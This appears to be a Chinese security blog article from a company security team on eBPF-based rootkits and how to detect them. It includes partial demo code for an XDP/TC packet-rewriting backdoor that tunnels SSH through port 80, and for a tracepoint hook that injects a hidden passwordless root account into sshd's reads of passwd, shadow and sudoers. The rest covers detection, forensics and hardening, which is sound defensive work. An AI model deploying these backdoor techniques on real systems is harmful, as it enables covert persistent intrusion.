Linux中基于eBPF的恶意利用与检测机制

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前言

近几年来,云原生领域飞速发展,k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核带来了新的挑战。
系统内核在面对复杂性不断增长,性能、可扩展性新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。

eBPF出现,以较小的子系统改动,保障了系统内核的稳定。具备实时动态加载的特性,将业务逻辑加载到内核,实现热更新的动态执行。 eBPF技术的出现,衍生新业务场景的同时,也带来了安全威胁。

现状分析

在解决很多技术难题的同时,eBPF技术的出现也带来了新的恶意利用,从一些海外资料和国内资料中可以看到,目前关于eBPF技术恶意利用的现状如下所示:

海外资料

Black Hat

在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用,如何构建一个rootkit,入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上,包括检测防御代码。

DEFCON

在DEF CON29峰会上,安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例:《Warping Reality – creating and countering the next generation of Linux rootkits using eBPF》 ,介绍了eBFP rootkit的应用场景,包括网络、运行时等,以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf

国内资料

国内在eBPF恶意利用的资料较少,相关技术分享也少,它的危害没有得到国内同行的注意,势必影响到国内公司在网络安全防御体系的建设,导致落后于国外,给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方,有责任带领大家更好的认识这种恶意利用,分享检测防御经验,加固网络安全产品,为国内信息安全建设贡献一份力。

eBPF技术恶意利用的攻击原理

知己知彼才能百战不殆,要想做好防御,必须要了解他的攻击原理,我们一起来看下他的rootkit是如何设计的,功能有哪些?

从eBPF的功能来看,提供了

  • 网络
  • 监控
  • 观测
  • 跟踪&性能分析
  • 安全

等几个领域功能。 在网络领域,Cilium等云原生公司做了很多网络层的产品,在实现网格管理的同时,也做了响应的网络层面安全策略,尤其是网络编排领域,表现尤为亮眼,逐步代替iptables等产品,大有一统江山的趋势。 在监控观测等领域也有很多产品。尤其是运行时安全领域,Datadog 、Falco、Google等公司,都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。

我们回顾一下eBPF技术的hook点:
eBPF Hook位置
从图中可以看出,eBPF的hook点功能包括以下几部分

  1. 可以在StorageNetwork等与内核交互之前;
  2. 也可以在内核中的功能模块交互之间;
  3. 又可以在内核态与用户态交互之间;
  4. 更可以在用户态进程空间。

eBPF的功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。

笔者基于eBPF的功能函数,从业务场景来看,网络、监控、观测类的功能促进了云原生领域的产品发展;跟踪/性能分析、安全类功能,加快了安全防御、审计类产品演进;而安全领域的恶意利用,也会成为黑客关注的方向。在这里,笔者与大家探讨一下新的威胁与防御思路,

从数据流所处阶段来看,笔者划分为两部分,接下来一起来讨论恶意利用、风险危害与防御思路。

  1. Linux网络层恶意利用
  2. Linux系统运行时恶意利用

网络层恶意利用

以一个SSH、WEB服务的服务器为例,在IDC常见网络访问策略中,开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP,或者只开放内网端口访问。

假设这台服务器已经被黑客入侵,黑客需要留下一个后门,且需要一个隐藏、可靠的网络链路作为后门通道,那么在eBPF技术上,会如何实现呢?

XDP/TC层修改TCP包

为了让后门隐藏的更好,最好是不开进程,不监听端口(当前部分我们只讨论网络层隐藏)。而eBPF技术在XDP、TC、socket等内核层的功能,能够实现流量信息修改,这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后,更改了TCP包的目标IP,系统内核再将该数据包转发出去。
按照XDP与TC在Linux内核中,处理ingress与egress的位置,可以更准确地确定hook点。

XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。
TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP BPF_PROG_TYPE_XDP的功能外,还可以对egress起作用。

前者最常用的场景就是做网络防火墙,用于网络流量清洗,效率比传统防火墙的高很多。 后者常用于云原生场景下,容器、POD的网络监控、安全访问控制等。在这个例子中,要多进出流量都做调整,故两个hook点都需要有。 同样,在XDP等阶段的hook,在这里做相关包逻辑处理,能更好的将通讯包隐藏,tcpdump等工具都抓不到。

控制链路

在后门场景里,可以在同样的位置,像eBPF的负载均衡一样,修改目标端口,从web nginx 的80改为SSHD的22,就可以实现网络数据的透传,绕开防火墙以及网络访问限制。

认证密钥

由于后门rootkit是在XDP\TC层工作,为了尽可能的简单,认证密钥最好只使用链路层、网络层、传输层的数据,即MAC信息、IP五元组之类。IP经常变动,MAC地址大概率是唯一的,以及设定一个固定的端口,这样更加唯一,作为rootkit的认证密钥即可实现。(需要client发起连接时,指定客户端的TCP端口)

eBPF uprobe与eBPF map联动

对于后门rootkit的密钥更新,利用eBPF也很好实现。比如,在nginx的场景中,uprobe实现hook http的函数,获取url参数中特定字符串,再将字符串保存到eBPF map里,就实现了密钥更新。

XDP/TC层的eBPF rootkit执行时,读取eBPF map里的密钥,进行比较运算。

实现流程

举个XDP处理ingress的例子

SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;

//判断是否为SSHD的协议,不是则直接放行
if (!(不是SSHD协议(&c))) {
return XDP_PASS;
}

//判断rootkit是否匹配,网卡信息与来源端口是否匹配
hack_mac[] = "读取bpf map配置。"
if(密钥不匹配) {
return XDP_PASS;
}

// 读取map,是否已经存在该client信息
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);

// 如果没找到伪装信息,则自己组装
if(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}

// 伪装mac局域网mac信息
pkt.eth->h_source[0] = 0x00;
...

// 替换伪装ip来源 ,客户端端口不变

// 更改目标端口
pkt.tcp->dest = htons(FACK_PORT);    //22

//计算TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;

//写入已伪装的map,用于TC处理egress的原mac、IP信息还原。
return XDP_PASS;
}

比较简单的demo,即可实现 ingtrss侧TCP数据包的伪装。同样,TC层处理egress方向的数据包时,只需要对伪装包的原始信息作还原即可。整个流程如下图:

eBPF在XDP/TC层实现网络穿透rootkit通讯链路

这样,rootkit的通讯链路并不影响正常用户访问,也没有对原系统做改动,隐蔽性特别好。

视频演示

笔者准备了三台主机测试:

  1. 入侵者:cnxct-mt2,IP为172.16.71.1。
  2. 普通用户:vm-ubuntu,IP为172.16.71.3。
  3. 被入侵服务器:vm-server,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。

危害

这个rootkit不主动创建socket,借用其中一个网络发送包,把消息送达给后门使用者。 对系统影响来说,只是一个不起眼的小网络响应。 在万千HTTP包里,根本定位不到。

  1. iptables防火墙绕过 :利用对外开放的80端口作为通讯隧道;
  2. webIDS绕过:流量到达服务器后,并不传递给nginx;
  3. NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密;
  4. HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录?

linux系统运行时恶意利用

云原生生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些服务的运行环境,也给攻击者留下一个完美的发挥空间。

实现流程

回顾eBPF的hook点,作用在syscall的kprobe、tracepoint事件类型,倘若用在后门rootkit场景,是十分可怕的。比如,修改内核态返回给用户态的数据,拦截阻断用户态行为等为所欲为。而更可怕的是,常见的HIDS都是基于内核态或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗

tracepoint事件类型hook

在SSHD应用中,当用户登录时,会读取/etc/passwd等文件。用户态sshd程序,调用open、read等系统调用,让内核去硬件磁盘上检索数据,再返回数据给sshd进程。

用户态生成payload

用户态实现/etc/passwd/etc/shadown等文件payload的生成,并通过eBPF的RewriteConstants机制,完成对elf .rodata的字段值替换。

import "github.com/ehids/ebpfmanager"

//  通过elf的常量替换方式传递数据
func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
    var username = RandString(9)
    var password = RandString(9)
    var s = RandString(8)

    salt := []byte(fmt.Sprintf("$6$%s", s))
    // use salt to hash user-supplied password
    c := sha512_crypt.New()
    hash, err := c.Generate([]byte(password), salt)

    var m = map[string]interface{}{}
    res := make([]byte, PAYLOAD_LEN)
    var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
    copy(res, payload)
    m["payload"] = res
    m["payload_len"] = uint32(len(payload))

    // 生成passwd字符串
    var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)
    // 生成shadow字符串
    var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)

    // eBPF RewriteContants
    var editor = []manager.ConstantEditor{
        {
            Name:          "payload",
            Value:         m["payload"],
            FailOnMissing: true,
        },
        {
            Name:          "payload_len",
            Value:         m["payload_len"],
            FailOnMissing: true,
            },
    }
    return editor
}

func (this *MBPFContainerEscape) setupManagers() {
    this.bpfManager = &manager.Manager{
        Probes: []*manager.Probe{
            {
                Section:          "tracepoint/syscalls/sys_enter_openat",
                EbpfFuncName:     "handle_openat_enter",
                AttachToFuncName: "sys_enter_openat",
            },
            ...
        },

        Maps: []*manager.Map{
            {
                Name: "events",
            },
        },
    }

    this.bpfManagerOptions = manager.Options{
        ...
        // 填充 RewriteContants 对应map
        ConstantEditors: this.constantEditor(),
    }
}

内核态使用payload

const volatile int payload_len = 0;
...
const volatile char payload_shadow[MAX_PAYLOAD_LEN];

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
    // 判断是否为rootkit行为,是否需要加载payload
    ...
    long int read_size = ctx->ret;
    // 判断原buff长度是否小于payload
    if (read_size < payload_len) {
        return 0;
    }

    // 判断文件类型,匹配追加相应payload
    switch (pbuff_addr->file_type)
    {
    case FILE_TYPE_PASSWD:
        // 覆盖payload到buf,不足部分使用原buff内容
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
            for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
                if (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                else {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        break;
    case FILE_TYPE_SHADOW:
        // 覆盖 shadow文件
        ...
        break;
    case FILE_TYPE_SUDOERS:
        //覆盖sudoers
        ...
        break;
    default:
        return 0;
        break;
    }

    // 将payload内存写入到buffer
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
    // 发送事件到用户态

    return 0;
}

按照如上demo rootkit的设计,即完成了随机用户名密码的root账号添加。在鉴权认证上,也可以配合eBPF网络层恶意利用的demo,利用eBPF map交互,实现相应鉴权。 但rootkit本身并没有更改硬盘上文件,不产生风险行为。并且,只针对特定进程的做覆盖,隐蔽性更好。整个流程如下图:
eBPF在runtime安全场景恶意利用

不管是在物理机上,还是给了root+BPF权限的容器上,都一样生效。

视频演示

危害

云原生场景下,赋予SYS_ADMIN的权限的容器场景很多,若配合近期的JAVA log4j漏洞,直接击穿容器,拿到宿主机权限,是不是很可怕?

然而,比这可怕的是这种rootkit本身并没有产生用户态行为日志,也没有改文件,系统里查不到这个用户信息。整个后门行为不产生数据,让大部分HIDS失灵。

综述

从笔者演示的这两个场景可以来看,大家已经知道eBPF技术被恶意利用的危害。其实,这只是eBPF技术的冰山一角,在kproeb\uprobe上也有很多功能,比如实现进程隐藏,无痕内网扫描等等。相关恶意利用可参考Bad BPF – Warping reality using eBPF一文。

若入侵者精心设计rootkit,实现进程隐藏等,让rootkit更加隐蔽,按照本文的思路,实现一个幽灵般的后门,想想就让人后怕。

常规的主机安全防御产品一般用netlink linux kernel module等技术实现进程创建、网络通讯等行为感知,而eBPF的hook点可以比这些技术更加深,比他们执行更早,意味着常规HIDS并不能感知发现他们。

传统rootkit,采用hook api方法,替换原来函数,导致执行函数调用地址发生变化,已有成熟检测机制,eBPF hook不同于传统rootkit ,函数调用堆栈不变。这给检测带来很大的麻烦。

那面对这种后门,该如何检测防御呢?

检测防御

从事件发生的过程来看,分为三个阶段:

  • 运行前
  • 运行时
  • 运行后

运行前

在恶意程序运行前,减少攻击面,这个思路是更古不变的。

环境限制

不管是宿主机还是容器,都进行权限收敛,能不赋予SYS_ADMINCAP_BPF等权限,就禁止掉。若一定要开放这个权限,那么只能放到运行时的检测环节了。

seccomp限制

在容器启动时,修改默认seccomp.json,禁止bpf系统调用,防止容器逃逸,注意此方法对于Privileged特权容器无效。

内核编译参数限制

修改函数返回值做运行时防护时,需要用到bpf_override_return,该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE编译参数,因此非特殊情况不要开启该编译参数。

非特权用户指令

大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外,比如BPF_PROG_TYPE_SOCKET_FILTERBPF_PROG_TYPE_CGROUP_SKB这两个类型,就不需要root。但需要读取系统配置开关。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
        type != BPF_PROG_TYPE_CGROUP_SKB &&
        !bpf_capable())
        return -EPERM;

开关确认

/proc/sys/kernel/unprivileged_bpf_disabled里,可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/

  • 值为0表示允许非特权用户调用bpf
  • 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改
  • 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1

特征检查

有人提议,在内核加载bpf字节码时,进行签名验证,以便达到只加载安全签名的bpf字节码。
lwn.net中也列出这个话题:BPF字节码签名计划

但很多人也提出 反对意见 ,认为bpf模块这几年的发展,过于抽象化,越来越复杂,不希望加入额外的功能,让bpf更加不稳定。而是改变思路,让字节码加载时签名,改为「执行bpf字节码加载的用户态程序进行签名」,这个是已有的内核功能,不会增加系统复杂性。

笔者认为,这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o

ip命令加载eBPF字节码

运行检查

大部分eBPF程序在重启后不存在了,所以,入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。

用户态程序可以以各种形式存在,ELF可执行文件、ELF so动态链接库都可以。在执行时,必定会调用BPF syscall来加载BPF 字节码。 若只是对可执行ELF做检测,还不够准确。

运行时

监控

linux系统中,所有的程序运行,都必须进行系统调用,eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。

并且,所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么,在这个必经之路进行拦截监控,是最好的方案。

SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
    struct bpf_context_t *bpf_context = make_event();
    if (!bpf_context)
        return 0;
    bpf_context->cmd = args->cmd;
    get_common_proc(&bpf_context->procinfo);
    send_event(args, bpf_context);
    return 0;
}

这里,我们开源的ehids项目做了一个bpf syscall检测的例子,大家可以fork了解。仓库见https://github.com/ehids/ehids-agent

当然,细心的读者会有疑问,假如入侵者的后门执行比较早,对这个系统调用进行欺骗,那怎么办呢?
这是个好问题,我们放到运行后的溯源章节讨论。但对于大部分场景,HIDS防御产品还是可以做到第一时间启动的。

审计&筛查

上面我们讨论了对bpf系统调用进行监控,在云原生场景中,基于eBPF实现的网络产品会频繁调用,会产生大量的事件日志,给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。

根据程序白名单筛选

数据过滤,是解决大量数据压力的方案。在一些BPF应用的业务服务器上,本身业务行为会产生大量调用,会给安全预警带来较大审计压力。对于已知的进程,可以根据进程特征过滤。

获取当前进程PID、COMM等特征,根据用户态写入eBPF map的配置,决定是否上报、是否拦截。 也可以在用户态做过滤,但内核态效率更高。如果是做拦截,那必须要在内核态实现。
参考saBPF产品设计思路 ,用eBPF实现LSM HOOK点的钩子程序,完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo,思路可以借鉴。

根据SYSCALL类型筛选

在BPF syscall里,子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference 里有详细的读写API。在实际的业务场景里,的安全风险比大。所以,我们可以过滤掉操作,只上报、审计操作。
比如:

  • MAP的创建BPF_MAP_CREATE
  • PROG加载BPF_PROG_LOAD
  • BPF_OBJ_PIN
  • BPF_PROG_ATTACH
  • BPF_BTF_LOAD
  • BPF_MAP_UPDATE_BATCH

尤其是有BPF需求的业务场景,可以更好的审计日志。

运行后

问个问题,eBPF用户态程序与内核态程序交互,加载bpf字节码后,能退出吗? 退出后,内核hook的bpf函数还工作吗?创建的map是否还存在? 后门程序为了保证更好的隐蔽性,会如何选择?

要回答这个问题,不得不提BPF程序的加载机制,BPF对象生命周期。

文件描述符与引用计数器

用户态程序通过文件描述符FD来访问BPF对象(progs、maps、调试信息),每个对象都有一个引用计数器。用户态打开、读取相应FD,对应计数器会增加。若FD关闭,引用计数器减少,当refcnt为0时,内核会释放BPF对象,那么这个BPF对象将不在工作。

在安全场景里,用户态的后门进程若退出后,后门的eBPF程序也随之退出。在做安全检查时,这可以作为一个有利特征,查看进程列表中是否包含可疑进程。

但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看,只需要保证refcnt大于0,就可以让BPF对象存活,让后门进程持续工作了。其实在BPF的程序类型中,像XDPTC和基于CGROUP的钩子是全局的,不会因为用户态程序退出而退出。相应FD会由内核维护,保证refcnt计数器不为零,从而继续工作。

溯源

在安全工程师视角里,就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中,都使用了eBPF的相关接口,意味着,如果恶意程序比检查工具运行的早,那么对于结果存在伪造的可能

短生命周期

BPF程序类型代表

  • k[ret]probe
  • u[ret]probe
  • tracepoint
  • raw_tracepoint
  • perf_event
  • socket filters
  • so_reuseport

特点是基于FD管理,内核自动清理,对系统稳定性更好。这种程序类型的后门,在排查时特征明显,就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。

bpftool工具

eBPF程序列表
命令bpftool prog show,以及bpftool prog help查看更多参数。

结果中,可以看到当前系统正在运行的BPF程序、关联的BPF map ID,以及对应的进程信息等。
另外,细心的你可能发现,结果中,XDP数据中并没有进程ID信息,稍后讨论。

eBPF map列表
命令bpftool map show,以及bpftool map help查看更多参数。

通过查看map信息,可以与程序信息作辅助矫正。并且,可以导出map内数据用来识别恶意进程行为。这部分我们在取证章节讨论。

bpflist-bpfcc

bpflist-bpfcc -vv命令可以看到当前服务器运行的部分BPF程序列表。以笔者测试环境为例

root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc  -vv
open kprobes:

open uprobes:

PID    COMM             TYPE  COUNT
1      systemd          prog  8
10444  ehids            map   4
10444  ehids            prog  5

可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。

长生命周期:

BPF程序类型代表

  • XDP
  • TC
  • LWT
  • CGROUP

上面提到以ip命令加载bpf字节码的场景,常见BPF工具查询不到或信息缺失。其背后原因,需要从他的工作原理讲起。

ip命令加载bpf原理

BPF对象的生命周期使用引用计时器管理,这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间,之后再由内核空间维持。

以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。 IP命令的参数中包含bpf字节码文件名,IP进程打开.o字节码的fd,通过NETLINKIFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的IP进程退出后,BPF程序依旧工作。 内核源码见:https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237

笔者做了抓包验证,IP关联XDP程序类型:

17:53:22.553708 sendmsg(3, 
    {
    msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 
    msg_namelen=12, 
    msg_iov=[
        {
            iov_base={
                {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, 
                {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, 
                {
                    {nla_len=20, nla_type=IFLA_XDP}, 
                    [
                        {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, 
                        {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
                    ]
                }
            },
            iov_len=52
        }
        ], 
    msg_iovlen=1, 
    msg_controllen=0, 
    msg_flags=0
    }, 0) = 52

可以看到IFLA_XDP_FD后面的FD参数是6。同样,删除XDP程序,需要把FD设置为-1,对应NETLINK包构成如下:

17:55:16.306843 sendmsg(3, 
    {
    ...
                    {nla_len=20, nla_type=IFLA_XDP}, 
                    [
                        {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, 
                        {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
                    ] }
    ...
    }, 0) = 52

不止IP命令,TC命令分类器 也是支持BPF程序,将BPF程序作为classifiers和 actions加载到 ingress/egress hook点。背后原理与IP类似,也是netlink协议与内核通讯,网卡维持BPF对象计数器。

检测机制

使用原生IP、TC等命令,查看网卡加载的BPF对象

  1. ip link show
  2. tc filter show dev [网卡名] [ingress|egress]

使用bpftool命令查看

bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF HOOK点。

CGROUP的的BPF_PROG_TYPE_CGROUP_SKBBPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图:

BPFFS

除了前面提到的方法外,BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器,来保持后台的活跃状态。使用时,只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。

BPFFS在linux的类型是BPF_FS_MAGIC,默认目录/sys/fs/bpf/,可自定义修改,但确保文件系统类型是unix.BPF_FS_MAGIC

检测思路上,需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。

在linux系统上,mount -t bpf来查看系统所有挂在的文件类型,是否包含BPFFS类型。

确定BPFFS的目录后,再查看目录下的挂在点是否存在异常。

取证

内核已加载的BPF对象导出

bpftool工具可以导出有FD ID的PROG、MAP。
BPF PROG程序
可以导出opcode\visual\linum等多种格式,并可以生成调用关系图。具体可以查看bpftool的帮助文件。

root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited  PROG [{ file FILE | opcodes | linum }]

BPF MAP
与PROG类似,也可以通过bpftool导出内容,并支持json格式化内容。

root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
        "value": {
            ".rodata": [{
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "payload_len": 38
    ...

BPFFS
BPFFS类型的BPF对象,虽然可以更便捷的放到后台执行,用户空间程序可以退出,也可以再次读取,但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出PROG、MAP。参与少有区别,详情见bpftool help

内核未加载的BPF对象

当定位到后门rootkit的用户空间程序后,那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中,或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具,定位到相关字节流,导出即可。

以笔者演示视频中的ehids进程为例,使用https://github.com/ehids/ebpfmanager 纯GO的eBPF模块管理器package,对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、GZIP压缩,作为go代码的变量,在部署时比较边界。

IDA pro加载时,我们可以在.noptrdata段部分看到这块代码,开始地址是0000000000827AE0,导出后再解压,可以还原原来的BPF ELF文件内容。

因为每个BPF用户态实现不同,类库也不一样,静态分析实践起来有难度。那可以模拟相同环境,动态运行,提前HOOK BPF SYSCALL,找到FD设置的地方,也是可以导出BPF的ELF文件。

字节码分析

BPF字节码本身也是ELF格式,只是格式指令上有一定区别。反编译工具IDA pro也能支持,国外安全工程师开源了一个python插件:eBPF IDA Proc ,以及整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry’s Enhanced IDA Processor Tool ,有兴趣可以读读。

防御

eBPF在网络安全场景的使用,除了做入侵检测外,还是可以用于防御。 LSM PROBE HOOK提供了相关功能。以容器逃逸场景为例,行为最明显的特征是父子进程namespace不一致,子进程创建完成后,判断这个特征是否匹配,返回EPERM覆盖进程创建函数的返回值,从而起到防御的目的。相比内核模块等防御实现,eBPF实现更加安全、稳定、可靠,从而在源头上解决容器逃逸的问题。

同样,笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。

LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
    return -EPERM;
}

在系统的配置上有一定要求,CONFIG_BPF_LSM=yCONFIG_LSM配置内容,必须包含bpf等,详情可参考BCC类库Demo lsm probe

工程实现

练手

入门练手,可以尝试使用BCC的类库:https://github.com/iovisor/bcc ,以及C语言用户空间程序的各种Demo例子Demo BPF applications

类库选择

工程化时,对项目质量、稳定性、研发效率等都有要求,推荐cilium的纯go eBPF类库,由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。

笔者的产品也是参考datadog,抽象包装了cilium的eBPF库,实现配置化便捷管理eBPF程序。github仓库:https://github.com/ehids/ebpfmanager ,欢迎使用。

当然,也可以使用libbpf包装的go类库实现,比如tracee等产品。

系统兼容性 CO-RE

eBPF的出现极大的简化了编写内核态代码的门槛,极高的安全性,友好的加载方式,高效的数据交互,令eBPF深受追捧。然而和编写传统内核模块相同,内核态的功能开发伴随着繁冗的适配测试工作,Linux繁多的内核版本更是让适配这件事难度陡增,
这也就是BTF出现之前的很长一段时间里,bcc + clang + llvm被人们诟病的地方。 程序在运行的时候,才进行编译,目标机器还得安装clang llvm kernel-header等编译环境,同时编译也会消耗大量cpu资源,这在某些高负载机器上是不能被接受的。

因此BTF&CO-RE横空出现,BTF可以理解为一种debug符号描述方式,此前传统方式debug信息会非常巨大,linux内核一般会关闭debug符号,btf的出现解决了这一问题,大幅度减少debug信息的大小,使得生产场景内核携带debug信息成为可能。

可喜的是通过运用这项技术,可以帮助开发者节省大量适配精力,但是这项技术目前还是在开发中,还有许多处理不了的场景,比如结构体成员被迁入子结构体中,这时候还是需要手动解决问题,BTF的开发者也写了一篇文章,讲解不同场景的处理方案bpf-core-reference-guide

大型项目

在国外,云原生领域产品发展较快,涌现出一批批基于eBPF的产品,包括Cilium、datadog 、falco、Katran等,应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域,可以借鉴这些大型项目的研发经验,来加快产品建设,包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主,工程建设相关经验我们在以后的文章中分享。

总结

随着云原生快速发展,eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看,国外对这个方向的研究远比国内超前,笔者再次呼吁大家,网络安全产品应当尽快具备eBPF相关威胁检测能力

这里,笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初,提到eBPF在防御检测产品研发、工程建设等,我们将在下一篇跟大家分享,敬请期待。

作者简介

  • 陈驰 : 2017年加入美团,目前主要负责IDC服务器的检测防御产品研发,完善服务器侧纵深防御体系建设。
  • 杨一 : 2017年加入美团,目前主要负责HIDS主机安全产品研发工作。
  • 胡鑫博 : 2021年加入美团,目前主要负责HIDS Agent的研发。

参考文献

招聘

美团信息安全部招聘研发专家,职位如下列表,职位描述见美团信息安全部2022年招聘岗位

  • 安全研发专家(主机安全方向)
  • 安全研发专家(RASP方向)
  • WEB研发架构师(JAVA语言)
  • 美团信息安全部其他职位

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